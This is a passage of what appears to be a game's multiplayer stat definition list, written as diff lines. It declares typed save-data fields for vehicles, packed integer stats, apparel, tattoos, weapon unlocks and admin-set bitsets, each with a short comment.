Vehicle_30 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_30 // Add MP0_ or MP1_ // Vehicle_30 cost of vehicle when purchased + +(u64)MPSV_LP0_30 // Add MP0_ or MP1_ // Vehicle_30 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_31 // Add MP0_ or MP1_ // Vehicle_31 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_31 // Add MP0_ or MP1_ // Vehicle_31 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_31 // Add MP0_ or MP1_ // Vehicle_31 premium paid by destroyer of vehicle +(int)MPSV_MODEL_31 // Add MP0_ or MP1_ // Vehicle_31 model enum of vehicle +(int)MPSV_FLAGS_31 // Add MP0_ or MP1_ // Vehicle_31 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_31 // Add MP0_ or MP1_ // Vehicle_31 cost of vehicle when purchased + +(u64)MPSV_LP0_31 // Add MP0_ or MP1_ // Vehicle_31 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_32 // Add MP0_ or MP1_ // Vehicle_32 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_32 // Add MP0_ or MP1_ // Vehicle_32 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_32 // Add MP0_ or MP1_ // Vehicle_32 premium paid by destroyer of vehicle +(int)MPSV_MODEL_32 // Add MP0_ or MP1_ // Vehicle_32 model enum of vehicle +(int)MPSV_FLAGS_32 // Add MP0_ or MP1_ // Vehicle_32 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_32 // Add MP0_ or MP1_ // Vehicle_32 cost of vehicle when purchased + +(u64)MPSV_LP0_32 // Add MP0_ or MP1_ // Vehicle_32 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_33 // Add MP0_ or MP1_ // Vehicle_33 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_33 // Add MP0_ or MP1_ // Vehicle_33 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_33 // Add MP0_ or MP1_ // Vehicle_33 premium paid by destroyer of vehicle +(int)MPSV_MODEL_33 // Add MP0_ or MP1_ // Vehicle_33 model enum of vehicle +(int)MPSV_FLAGS_33 // Add MP0_ or MP1_ // Vehicle_33 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_33 // Add MP0_ or MP1_ // Vehicle_33 cost of vehicle when purchased + +(u64)MPSV_LP0_33 // Add MP0_ or MP1_ // Vehicle_33 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_34 // Add MP0_ or MP1_ // Vehicle_34 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_34 // Add MP0_ or MP1_ // Vehicle_34 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_34 // Add MP0_ or MP1_ // Vehicle_34 premium paid by destroyer of vehicle +(int)MPSV_MODEL_34 // Add MP0_ or MP1_ // Vehicle_34 model enum of vehicle +(int)MPSV_FLAGS_34 // Add MP0_ or MP1_ // Vehicle_34 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_34 // Add MP0_ or MP1_ // Vehicle_34 cost of vehicle when purchased + +(u64)MPSV_LP0_34 // Add MP0_ or MP1_ // Vehicle_34 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_35 // Add MP0_ or MP1_ // Vehicle_35 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_35 // Add MP0_ or MP1_ // Vehicle_35 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_35 // Add MP0_ or MP1_ // Vehicle_35 premium paid by destroyer of vehicle +(int)MPSV_MODEL_35 // Add MP0_ or MP1_ // Vehicle_35 model enum of vehicle +(int)MPSV_FLAGS_35 // Add MP0_ or MP1_ // Vehicle_35 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_35 // Add MP0_ or MP1_ // Vehicle_35 cost of vehicle when purchased + +(u64)MPSV_LP0_35 // Add MP0_ or MP1_ // Vehicle_35 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_36 // Add MP0_ or MP1_ // Vehicle_36 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_36 // Add MP0_ or MP1_ // Vehicle_36 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_36 // Add MP0_ or MP1_ // Vehicle_36 premium paid by destroyer of vehicle +(int)MPSV_MODEL_36 // Add MP0_ or MP1_ // Vehicle_36 model enum of vehicle +(int)MPSV_FLAGS_36 // Add MP0_ or MP1_ // Vehicle_36 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_36 // Add MP0_ or MP1_ // Vehicle_36 cost of vehicle when purchased + + +(int)MPSV_VEHICLE_BS_37 // Add MP0_ or MP1_ // Vehicle_37 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_37 // Add MP0_ or MP1_ // Vehicle_37 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_37 // Add MP0_ or MP1_ // Vehicle_37 premium paid by destroyer of vehicle +(int)MPSV_MODEL_37 // Add MP0_ or MP1_ // Vehicle_37 model enum of vehicle +(int)MPSV_FLAGS_37 // Add MP0_ or MP1_ // Vehicle_37 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_37 // Add MP0_ or MP1_ // Vehicle_37 cost of vehicle when purchased + + +(int)MPSV_VEHICLE_BS_38 // Add MP0_ or MP1_ // Vehicle_38 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_38 // Add MP0_ or MP1_ // Vehicle_38 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_38 // Add MP0_ or MP1_ // Vehicle_38 premium paid by destroyer of vehicle +(int)MPSV_MODEL_38 // Add MP0_ or MP1_ // Vehicle_38 model enum of vehicle +(int)MPSV_FLAGS_38 // Add MP0_ or MP1_ // Vehicle_38 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_38 // Add MP0_ or MP1_ // Vehicle_38 cost of vehicle when purchased + + +(int)BEND_PROGRESS_HASH // Add MP0_ or MP1_ // Help text display + +(int)MPSV_OBTAINED_TIME_26 // Add MP0_ or MP1_ // Vehicle_26 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_27 // Add MP0_ or MP1_ // Vehicle_27 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_28 // Add MP0_ or MP1_ // Vehicle_28 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_29 // Add MP0_ or MP1_ // Vehicle_29 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_30 // Add MP0_ or MP1_ // Vehicle_30 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_31 // Add MP0_ or MP1_ // Vehicle_31 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_32 // Add MP0_ or MP1_ // Vehicle_32 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_33 // Add MP0_ or MP1_ // Vehicle_33 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_34 // Add MP0_ or MP1_ // Vehicle_34 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_35 // Add MP0_ or MP1_ // Vehicle_35 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_36 // Add MP0_ or MP1_ // Vehicle_36 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_37 // Add MP0_ or MP1_ // Vehicle_37 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_38 // Add MP0_ or MP1_ // Vehicle_38 time vehicle was obtained + +(int)MULTI_PROPERTY_2 // Add MP0_ or MP1_ // Stores what other property player has purchased +_2 +(int)MULTI_PROPERTY_VALUE_2 // Add MP0_ or MP1_ // Stores value other property player has purchased +_2 +(bool)MPPLY_SHOWN_SAVE_MIG_DONE // Did the player transfer saves and shown the completed screen + +(packed)TUPSTAT_INT137 // Add MP0_ or MP1_ // Character Stat with Packed integers index 137. Takes up to 8 integers +(packed)TUPSTAT_INT138 // Add MP0_ or MP1_ // Character Stat with Packed integers index 138. Takes up to 8 integers +(packed)TUPSTAT_INT139 // Add MP0_ or MP1_ // Character Stat with Packed integers index 139. Takes up to 8 integers +(packed)TUPSTAT_INT140 // Add MP0_ or MP1_ // Character Stat with Packed integers index 140. Takes up to 8 integers +(packed)TUPSTAT_INT141 // Add MP0_ or MP1_ // Character Stat with Packed integers index 141. Takes up to 8 integers +(packed)TUPSTAT_INT142 // Add MP0_ or MP1_ // Character Stat with Packed integers index 142. Takes up to 8 integers +(packed)TUPSTAT_INT143 // Add MP0_ or MP1_ // Character Stat with Packed integers index 143. Takes up to 8 integers +(packed)TUPSTAT_INT144 // Add MP0_ or MP1_ // Character Stat with Packed integers index 144. Takes up to 8 integers +(packed)TUPSTAT_INT145 // Add MP0_ or MP1_ // Character Stat with Packed integers index 145. Takes up to 8 integers +(packed)TUPSTAT_INT146 // Add MP0_ or MP1_ // Character Stat with Packed integers index 146. Takes up to 8 integers +(packed)TUPSTAT_INT147 // Add MP0_ or MP1_ // Character Stat with Packed integers index 147. Takes up to 8 integers +(packed)TUPSTAT_INT148 // Add MP0_ or MP1_ // Character Stat with Packed integers index 148. Takes up to 8 integers +(packed)TUPSTAT_INT149 // Add MP0_ or MP1_ // Character Stat with Packed integers index 149. Takes up to 8 integers +(packed)TUPSTAT_INT150 // Add MP0_ or MP1_ // Character Stat with Packed integers index 150. Takes up to 8 integers +(packed)TUPSTAT_INT151 // Add MP0_ or MP1_ // Character Stat with Packed integers index 151. Takes up to 8 integers +(packed)TUPSTAT_INT152 // Add MP0_ or MP1_ // Character Stat with Packed integers index 152. Takes up to 8 integers +(packed)TUPSTAT_INT153 // Add MP0_ or MP1_ // Character Stat with Packed integers index 153. Takes up to 8 integers +(packed)TUPSTAT_INT154 // Add MP0_ or MP1_ // Character Stat with Packed integers index 154. Takes up to 8 integers +(packed)TUPSTAT_INT155 // Add MP0_ or MP1_ // Character Stat with Packed integers index 155. Takes up to 8 integers +(packed)TUPSTAT_INT156 // Add MP0_ or MP1_ // Character Stat with Packed integers index 156. Takes up to 8 integers +(packed)TUPSTAT_INT157 // Add MP0_ or MP1_ // Character Stat with Packed integers index 157. Takes up to 8 integers +(packed)TUPSTAT_INT158 // Add MP0_ or MP1_ // Character Stat with Packed integers index 158. Takes up to 8 integers +(packed)TUPSTAT_INT159 // Add MP0_ or MP1_ // Character Stat with Packed integers index 159. Takes up to 8 integers +(packed)TUPSTAT_INT160 // Add MP0_ or MP1_ // Character Stat with Packed integers index 160. Takes up to 8 integers +(packed)TUPSTAT_INT161 // Add MP0_ or MP1_ // Character Stat with Packed integers index 161. Takes up to 8 integers +(packed)TUPSTAT_INT162 // Add MP0_ or MP1_ // Character Stat with Packed integers index 162. Takes up to 8 integers +(packed)TUPSTAT_INT163 // Add MP0_ or MP1_ // Character Stat with Packed integers index 163. Takes up to 8 integers +(packed)TUPSTAT_INT164 // Add MP0_ or MP1_ // Character Stat with Packed integers index 164. Takes up to 8 integers +(packed)TUPSTAT_INT165 // Add MP0_ or MP1_ // Character Stat with Packed integers index 165. Takes up to 8 integers +(packed)TUPSTAT_INT166 // Add MP0_ or MP1_ // Character Stat with Packed integers index 166. Takes up to 8 integers +(packed)TUPSTAT_INT167 // Add MP0_ or MP1_ // Character Stat with Packed integers index 167. Takes up to 8 integers +(packed)TUPSTAT_INT168 // Add MP0_ or MP1_ // Character Stat with Packed integers index 168. Takes up to 8 integers +(packed)TUPSTAT_INT169 // Add MP0_ or MP1_ // Character Stat with Packed integers index 169. Takes up to 8 integers +(packed)TUPSTAT_INT170 // Add MP0_ or MP1_ // Character Stat with Packed integers index 170. Takes up to 8 integers +(packed)TUPSTAT_INT171 // Add MP0_ or MP1_ // Character Stat with Packed integers index 171. Takes up to 8 integers +(packed)TUPSTAT_INT172 // Add MP0_ or MP1_ // Character Stat with Packed integers index 172. Takes up to 8 integers +(packed)TUPSTAT_INT173 // Add MP0_ or MP1_ // Character Stat with Packed integers index 173. Takes up to 8 integers +(packed)TUPSTAT_INT174 // Add MP0_ or MP1_ // Character Stat with Packed integers index 174. Takes up to 8 integers +(packed)TUPSTAT_INT175 // Add MP0_ or MP1_ // Character Stat with Packed integers index 175. Takes up to 8 integers +(packed)TUPSTAT_INT176 // Add MP0_ or MP1_ // Character Stat with Packed integers index 176. Takes up to 8 integers +(packed)TUPSTAT_INT177 // Add MP0_ or MP1_ // Character Stat with Packed integers index 177. Takes up to 8 integers +(packed)TUPSTAT_INT178 // Add MP0_ or MP1_ // Character Stat with Packed integers index 178. Takes up to 8 integers +(packed)TUPSTAT_INT179 // Add MP0_ or MP1_ // Character Stat with Packed integers index 179. Takes up to 8 integers +(packed)TUPSTAT_INT180 // Add MP0_ or MP1_ // Character Stat with Packed integers index 180. Takes up to 8 integers +(packed)TUPSTAT_INT181 // Add MP0_ or MP1_ // Character Stat with Packed integers index 181. Takes up to 8 integers +(packed)TUPSTAT_INT182 // Add MP0_ or MP1_ // Character Stat with Packed integers index 182. Takes up to 8 integers +(packed)TUPSTAT_INT183 // Add MP0_ or MP1_ // Character Stat with Packed integers index 183. Takes up to 8 integers +(packed)TUPSTAT_INT184 // Add MP0_ or MP1_ // Character Stat with Packed integers index 184. Takes up to 8 integers +(packed)TUPSTAT_INT185 // Add MP0_ or MP1_ // Character Stat with Packed integers index 185. Takes up to 8 integers +(packed)TUPSTAT_INT186 // Add MP0_ or MP1_ // Character Stat with Packed integers index 186. Takes up to 8 integers +(packed)TUPSTAT_INT187 // Add MP0_ or MP1_ // Character Stat with Packed integers index 187. Takes up to 8 integers +(packed)TUPSTAT_INT188 // Add MP0_ or MP1_ // Character Stat with Packed integers index 188. Takes up to 8 integers +(packed)TUPSTAT_INT189 // Add MP0_ or MP1_ // Character Stat with Packed integers index 189. Takes up to 8 integers +(packed)TUPSTAT_INT190 // Add MP0_ or MP1_ // Character Stat with Packed integers index 190. Takes up to 8 integers +(packed)TUPSTAT_INT191 // Add MP0_ or MP1_ // Character Stat with Packed integers index 191. Takes up to 8 integers + +(int)DLC_APPAREL_ACQUIRED_35 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_36 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_35 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_36 // Add MP0_ or MP1_ // Shop ped apparel save data + +(packed)NGPSTAT_INT10 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)NGPSTAT_INT11 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)NGPSTAT_INT12 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(int)MPPLY_FM_PLYR_HELP_TEXT // Help text for heist. + +(int)ADMIN_CLOTHES_RM_BS_10 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_10 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_11 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_11 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_12 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_12 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_13 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_13 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_14 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_14 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_15 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_15 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_16 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_16 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_17 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_17 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_18 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_18 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_19 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_19 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_20 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_20 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_21 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_21 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_22 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_22 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_23 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_23 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_24 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_24 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_25 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_25 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_26 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_26 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN + + + + + +(int)CHAR_HAIR_VIEWED1 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset +(int)CHAR_HAIR_VIEWED2 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 2 +(int)CHAR_HAIR_VIEWED3 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset +(int)CHAR_HAIR_VIEWED4 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 2 +(int)CHAR_HAIR_VIEWED5 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset +(int)CHAR_HAIR_VIEWED6 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 2 +(int)CHAR_HAIR_VIEWED7 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset +(int)CHAR_HAIR_VIEWED8 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 2 +(int)CHAR_HAIR_VIEWED9 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset +(int)CHAR_HAIR_VIEWED10 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 2 +(int)CHAR_HAIR_VIEWED11 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 2 +(int)CHAR_HAIR_VIEWED12 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 2 +(int)CHAR_HAIR_UNLCK1 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 1 +(int)CHAR_HAIR_UNLCK2 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 2 +(int)CHAR_HAIR_UNLCK3 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 1 +(int)CHAR_HAIR_UNLCK4 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 2 +(int)CHAR_HAIR_UNLCK5 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 1 +(int)CHAR_HAIR_UNLCK6 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 2 +(int)CHAR_HAIR_UNLCK7 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 1 +(int)CHAR_HAIR_UNLCK8 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 2 +(int)CHAR_HAIR_UNLCK9 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 1 +(int)CHAR_HAIR_UNLCK10 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 2 +(int)CHAR_HAIR_UNLCK11 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 1 +(int)CHAR_HAIR_UNLCK12 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 2 + +(int)DLC_APPAREL_ACQUIRED_37 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_38 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_39 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_40 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_37 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_38 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_39 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_40 // Add MP0_ or MP1_ // Shop ped apparel save data +(bool)MESH_HASGRANDPARENT // Add MP0_ or MP1_ // MP Char 0 - head mesh config +(bool)HEIST_SHOP_HELP_TU // Add MP0_ or MP1_ // MP Char 0 - Display help text after heist + +(packed)NGPSTAT_INT13 // Add MP0_ or MP1_ // Character Stat with Packed integers index 13. Takes up to 8 integers +(packed)NGPSTAT_INT14 // Add MP0_ or MP1_ // Character Stat with Packed integers index 14. Takes up to 8 integers +(packed)NGPSTAT_INT15 // Add MP0_ or MP1_ // Character Stat with Packed integers index 15. Takes up to 8 integers +(packed)NGPSTAT_INT16 // Add MP0_ or MP1_ // Character Stat with Packed integers index 16. Takes up to 8 integers +(packed)NGPSTAT_INT17 // Add MP0_ or MP1_ // Character Stat with Packed integers index 17. Takes up to 8 integers +(packed)NGPSTAT_INT18 // Add MP0_ or MP1_ // Character Stat with Packed integers index 18. Takes up to 8 integers +(packed)NGPSTAT_INT19 // Add MP0_ or MP1_ // Character Stat with Packed integers index 19. Takes up to 8 integers +(packed)NGPSTAT_INT20 // Add MP0_ or MP1_ // Character Stat with Packed integers index 20. Takes up to 8 integers +(packed)NGPSTAT_INT21 // Add MP0_ or MP1_ // Character Stat with Packed integers index 21. Takes up to 8 integers +(packed)NGPSTAT_INT22 // Add MP0_ or MP1_ // Character Stat with Packed integers index 22. Takes up to 8 integers +(packed)NGPSTAT_INT23 // Add MP0_ or MP1_ // Character Stat with Packed integers index 23. Takes up to 8 integers +(packed)NGPSTAT_INT24 // Add MP0_ or MP1_ // Character Stat with Packed integers index 24. Takes up to 8 integers +(packed)NGPSTAT_INT25 // Add MP0_ or MP1_ // Character Stat with Packed integers index 25. Takes up to 8 integers +(packed)NGPSTAT_INT26 // Add MP0_ or MP1_ // Character Stat with Packed integers index 26. Takes up to 8 integers +(packed)NGPSTAT_INT27 // Add MP0_ or MP1_ // Character Stat with Packed integers index 27. Takes up to 8 integers +(packed)NGPSTAT_INT28 // Add MP0_ or MP1_ // Character Stat with Packed integers index 28. Takes up to 8 integers +(packed)NGPSTAT_INT29 // Add MP0_ or MP1_ // Character Stat with Packed integers index 29. Takes up to 8 integers +(packed)NGPSTAT_INT30 // Add MP0_ or MP1_ // Character Stat with Packed integers index 30. Takes up to 8 integers +(packed)NGPSTAT_INT31 // Add MP0_ or MP1_ // Character Stat with Packed integers index 31. Takes up to 8 integers +(packed)NGPSTAT_INT32 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers + + +(bool)MPPLY_USING_KEYBOARD // True if the player is using the keyboard + +(date)TIMESTAMP_VEH_SOLD_DAY // Add MP0_ or MP1_ // MP Char 0 - The Date the player sold vehicles +(int)VEH_SOLD_IN_A_DAY // Add MP0_ or MP1_ // MP Char 0 - Counter to store number vehicles sold in a day + +(int)MINORITY_REPORT // MINORITY_REPORT + +(int)CHAR_WEAP_FM_PURCHASE3 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_FM_WEAP_EQUIPPED3 // Add MP0_ or MP1_ // MP Char 0 - Equipped weapons bitset 3 +(int)CHAR_FM_WEAP_FREE3 // Add MP0_ or MP1_ // MP Char 0 - Cost Free weapons bitset 3 +(int)CHAR_WEAP_VIEWED3 // Add MP0_ or MP1_ // MP Char 0 - Weapons unlocked bitset + +(int)TATTOO_FM_UNLOCKS_13 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 13 +(int)TATTOO_FM_CURRENT_13 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 13 +(int)TATTOO_FM_VIEWED_13 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 13 + +(int)ADMIN_VEH_GV_BS_8 // Add MP0_ or MP1_ // Give the player a vehicles in bitset 8 set by SCADMIN +(int)ADMIN_VEH_RM_BS_8 // Add MP0_ or MP1_ // Remove from the player a buyable veh in bitset 8 set by SCADMIN +(int)CHAR_FM_WEAP_UNLOCKED3 // Add MP0_ or MP1_ // MP Char 0 - Weapons unlocked bitset 3 +(int)CHAR_KIT_13_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_13_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_13_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE13 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + + +(int)CHAR_FM_WEAP_ADDON_6_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)WEAP_FM_ADDON_PURCH6 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_WEAP_ADDON_6_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)CHAR_FM_WEAP_ADDON_6_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 6 +(int)CHAR_RANK_FM_SA // Add MP0_ or MP1_ // MP Char 0 - XP Value + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +(int)TATTOO_FM_UNLOCKS_14 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 14 +(int)TATTOO_FM_CURRENT_14 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 14 +(int)TATTOO_FM_VIEWED_14 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 14 +(int)TATTOO_FM_UNLOCKS_15 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 15 +(int)TATTOO_FM_CURRENT_15 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 15 +(int)TATTOO_FM_VIEWED_15 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 15 +(int)TATTOO_FM_UNLOCKS_16 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 16 +(int)TATTOO_FM_CURRENT_16 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_VIEWED_16 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 + + +(int)DLC_APPAREL_ACQUIRED_41 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_42 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_43 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_44 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_45 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_46 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_47 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_48 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_49 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_50 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_41 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_42 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_43 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_44 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_45 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_46 // Add MP0_ 